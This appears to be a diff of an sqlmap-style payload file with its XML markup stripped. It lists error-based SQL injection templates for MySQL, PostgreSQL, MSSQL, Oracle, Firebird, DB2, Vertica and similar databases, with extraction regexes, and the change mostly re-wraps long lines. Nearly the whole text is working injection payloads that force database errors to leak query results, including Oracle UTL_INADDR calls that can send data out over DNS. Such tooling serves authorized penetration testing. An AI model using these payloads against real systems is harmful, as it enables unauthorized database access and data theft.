(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -159,9 +180,13 @@ 3 1,8,9 1 - OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING + utf8))) + - OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -179,13 +204,19 @@ 1 1,2,3,8,9 1 - AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + AND (SELECT [RANDNUM] FROM(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM + INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + - AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS + GROUP BY x)a) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -204,13 +235,19 @@ 1,2,3,8,9 1 - OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + OR (SELECT [RANDNUM] FROM(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM + INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + - OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS + GROUP BY x)a) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -234,7 +271,9 @@ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) --> - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -259,7 +298,9 @@ OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) --> - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -277,13 +318,16 @@ 1 1,2,3,8,9 1 - AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + - AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -308,7 +352,9 @@ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) --> - OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -326,13 +372,19 @@ 1 1,2,3,8,9 1 - AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + AND ROW([RANDNUM],[RANDNUM1])>(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] + UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + - AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT + [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -351,13 +403,19 @@ 3 1,8,9 1 - OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + OR ROW([RANDNUM],[RANDNUM1])>(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] + UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + - OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT + [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -376,9 +434,12 @@ 3 1,8,9 2 - OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + - OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + # @@ -398,7 +459,9 @@ 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) - AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END))::text||'[DELIMITER_STOP]' AS NUMERIC) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -417,7 +480,9 @@ 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) - OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END))::text||'[DELIMITER_STOP]' AS NUMERIC) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -436,7 +501,9 @@ 1 AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' + ELSE '0' END))+'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -456,7 +523,9 @@ 2 OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE + '0' END))+'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -476,7 +545,9 @@ 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + '1' ELSE '0' END))+'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -496,7 +567,9 @@ 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + '1' ELSE '0' END))+'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -516,7 +589,9 @@ 1 AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') - AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') + AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' + END)),'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -536,7 +611,9 @@ 2 OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') - OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') + OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' + END)),'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -554,9 +631,15 @@ 1 1,9 1 - AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + AND [RANDNUM]=(SELECT + UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' + ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) + FROM DUAL) + - AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -573,9 +656,14 @@ 3 1,9 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT + UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' + ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -594,7 +682,9 @@ 1 AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -614,7 +704,9 @@ 2 OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -634,7 +726,9 @@ 1 AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -653,7 +747,9 @@ 2 OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -672,7 +768,9 @@ 1 AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -691,7 +789,9 @@ 2 OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -710,7 +810,9 @@ 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM + RDB$DATABASE)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -729,7 +831,9 @@ 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM + RDB$DATABASE)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -748,7 +852,9 @@ 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE + CODE(48) END)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -767,7 +873,9 @@ 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE + CODE(48) END)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -786,7 +894,10 @@ 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) - AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) + END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -805,7 +916,10 @@ 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) - OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) + END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -824,7 +938,9 @@ 1 AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) + THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -843,7 +959,9 @@ 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -867,9 +985,13 @@ 1 1,2,3,4,5 1 - PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) + PROCEDURE + ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) + - PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -889,13 +1011,17 @@ 1 1,2,3,9 3 - (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), + 8446744073709551610, 8446744073709551610))) + - (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -915,7 +1041,9 @@ 3 EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + 